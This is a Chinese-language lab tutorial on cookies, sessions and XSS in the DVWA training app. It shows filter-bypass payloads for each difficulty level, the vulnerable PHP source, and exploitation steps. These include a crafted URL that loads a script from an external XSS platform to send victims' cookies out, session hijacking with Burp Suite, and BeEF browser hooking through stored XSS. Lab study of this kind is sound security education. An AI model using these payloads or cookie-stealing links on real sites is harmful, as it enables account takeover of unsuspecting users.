赞
踩
有状态会话与无状态会话:
当我们登陆网站的时候,会输入用户名及密码等信息。
当在无状态会话场景时,我们每次打开此网站均需要输入信息进行验证。
有状态会话场景时,当第一次验证通过后,服务器会在http响应包中发送一个此用户唯一的信息(cookie)便于下次登陆无需再次验证。
Cookie: Cookie按照存储的位置可以分为:硬盘Cookie和内存Cookie
硬盘Cookie:Cookie信息存储在客户端的硬盘中,由服务器设置过期时间。除非由用户清理或者过期否则硬盘Cookie不会被清除。
内存Cookie:Cookie信息存储在客户端内存中,随着浏览器关闭后就会消失。
session:
session与cookie的作用相同,也是用于服务器验证用户。不同的是,session信息存储在服务器,当用户打开网站到关闭网站即为一个session。浏览器关闭后,session也将注销。
服务器通过SESSIONID来识别不同的用户,SESSIONID可以包含在http响应中的cookie的值中。
Cookie和session的区别就是存储的位置,Cookie存储在客户端;session存储在服务器,客户端仅存储一个SESSIONID
由于后台程序对输入框的内容过滤不完善导致后台程序将用户输入恶意的JavaScript代码返回给浏览器,浏览器执行。
注意标签的闭合
当构造的代码在<title>,<textarea>
等标签中时,需要考虑将这些标签闭合然后再将构造的代码加在后边。在div标签中可以不用闭合。
大小写绕过
有些使用了一些函数过滤script关键字,可以考虑ScriPt等随意改变只要与script不同即可
双写绕过
有些过滤看到script会将其删除可以进行双写,如scRiscriptpt进行绕过
图片标签加事件绕过
<img src=# onerror=alert('xss')>)
直接输入<script>alert('xss');</script>
进行测试
依旧输入之前的测试代码进行测试,发现将script标签过滤
尝试大小写绕过<scripT>alert("xss");</sCript>
尝试双写绕过<sc<script>ript>alert('xss');</scri<script>pt>
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
查看网页代码,发现对输入的参数使用str_replace(参数1,参数2,参数3)进行过滤
参数1为要查找的字符串,参数2为将参数1替换为什么,参数3为在哪里查找,这里使用黑名单的思想将<script>
进行替换为空
基本语句测试
<script>alert('xss');</script>
大小写绕过
<scripT>alert("xss");</sCript>
失败
双写结合大小写绕过
<sC<script>ript>alert('xss');</Scri<script>pt>
失败
尝试其他标签
<img src=1 onerror=alert('xss')>
成功
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
高级别的防御通过正则表达式的替换函数preg_replace()来对script进行替换使得<script>
标签无法使用
利用
页面跳转:<script>location.href="URL"</script>
通过XSS平台进行cookie的获取:
我选择框中的代码,将此代码防入到反射型XSS框内然后提交。
由于不同级别的知识存在标签的过滤,原理都是通过嵌入XSS平台的代码然后构造URL,受害者点击URL的时候会将cookie发送给XSS平台。所以这里我以low级别的进行利用。
将代码加入框中发现是get方式进行提交,所以直接构造链接
http://192.168.1.4/vulnerabilities/xss_r/?name=<script src=https://xsspt.com/qrCRUy></script>
然后发送给受害者,此时我用本机的浏览器访问此链接并通过另一个用户进行登陆(用户名为1337)然后查看
此时有一个前提就是受害者必须已经处在登陆的状态下然后再触发构造的链接
如果受害者没有登陆也无法获取cookie
所以我先以1377用户的身份登陆到网站,然后触发URL
此时XSS平台接收到了信息
然后黑客访问登陆之后的页面时,通过burp suite进行抓包修改其中的cookie(XSS获取到的)就会以受害者的身份登入到网站。注意这里黑客要访问的不是网站的登陆页面而是一个登陆后才可以访问的页面。
这里我模拟黑客首先开启抓包,然后访问http://192.168.1.4/vulnerabilities/xss_r页面
将cookie改为XSS中获取到的受害者的cookie
然后点击forward
成功登陆并且是以1337的身份
在message栏中直接输入测试代码<script>alert('xss')</script>
出现弹框,然后测试下name是否也存在XSS
首先name框中允许输入最大长度小于我们的代码长度,右击审查元素查看
修改maxlength为更大然后输入测试代码,同样存在XSS漏洞
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); // Sanitize name input $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
查看源码,对message和name首先通过trim()函数移除参数两边的"\0"、"\t"、"\n"、"\x0B"、"\r"、" "
然后对于message,通过stripslashes()函数删除字符串中的""反斜杠,对测试语句貌似没有起作用
最后通过mysql_real_escape_string()函数对字符串中的特殊符号进行转义
而对于name只运用了mysql_real_escape_string()函数对其特殊符号进行转义
在靶机中为了消除之前的实验的影响,可以清空留言数据
同样先在message栏输入测试代码查看,显示将<script>
标签过滤,并且将’进行了转义
尝试大小写绕过<sCrIpt>alert(/xss/)</ScriPt>
依旧过滤,尝试双写和大小写结合<sCrIscriptpt>alert(/xss/)</ScrscriptIpT>
依旧不管用
尝试使用图片标签<img src=1 onerror=alert(/xss/)>
依旧不管用
然后对name框进行测试输入基本的测试语句,失败
然后大小写绕过尝试<scrIPt>alert('xss')</scRipt>
出现漏洞。
最后查看下源代码
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
message
可以看到对message进行了五次过滤
第一次:使用trim()移除字符串两边的"\0" - NULL、"\t" - 制表符、"\n" - 换行、"\x0B" - 垂直制表符、"\r" - 回车、" " - 空格符
第二次:使用addslashes()函数将预定义的字符单引号(’)双引号(")反斜杠(\)之前添加\
对于此种转义可采取以下方法进行绕过:
第三次:使用strip_tags()函数,除去字符串中的html标签,所以<img>
等标签会被过滤
第四次:使用mysql_real_escape_string() 与上面的函数类似
第五次使用了htmlspecialchars()函数,将&、" 、’ 、<、>转义为html实体,html实体可以理解为客户端请求服务器,服务器响应之后把页面的html代码返回给客户端浏览器,浏览器解析这些html代码,而这些html实体就是被解析的代码,浏览器先解析然后再显示给用户。所以输入的字符被转义为html实体后,浏览器通过渲染之后显示了字符原来的样子,并没有带入到代码中执行。
name
相对于message框,name框的过滤只有三种
第一次使用trim()函数
第二次使用str_replace()函数,示例中出现了三个参数,第一个为要替换的内容(<script>
),第二个参数为替换成什么(空),第三个参数为对哪个字符串进行替换。
可以采取以下方式绕过:
<sc<script>ript>alert('xss')</scr<script>ipt>
<img src=1 onerror=alert('xss')>
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
message依旧采取medium级别的方法进行过滤
name这里添加了preg_replace()函数,通过正则表达式来过滤<script>
标签,可以使用<img>
标签进行绕过
<img src=1 onerror=alert(/xss/)>
首先在kali打开BeEF,在左侧栏中点击图标会先弹出一个命令行窗口
然后会打开一个网页,命令行窗口显示了一些配置,网页用户名密码均为beef
利用命令行给出的方法,将脚本代码插入到存在XSS的地方。我这里选择插入到DVWA中存储型XSS漏洞的页面,将上图的Example中127.0.0.1的地址换为kali机的ip。这里的kali就相当于一台服务器。原理与XSS平台类似,就是将受害者的信息发送到kali的beef中。
上传xss代码
此时BeEF的网页中已经显示有自己中招
接下来我通过真机来进行访问存储型XSS页面通过1337用户的身份
此时又新增了一个受害者。
这种方法类似与XSS平台,将那些构造好的脚本插入到留言板中,只要访问了页面的人都会向指定的服务器发送请求从而中招。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。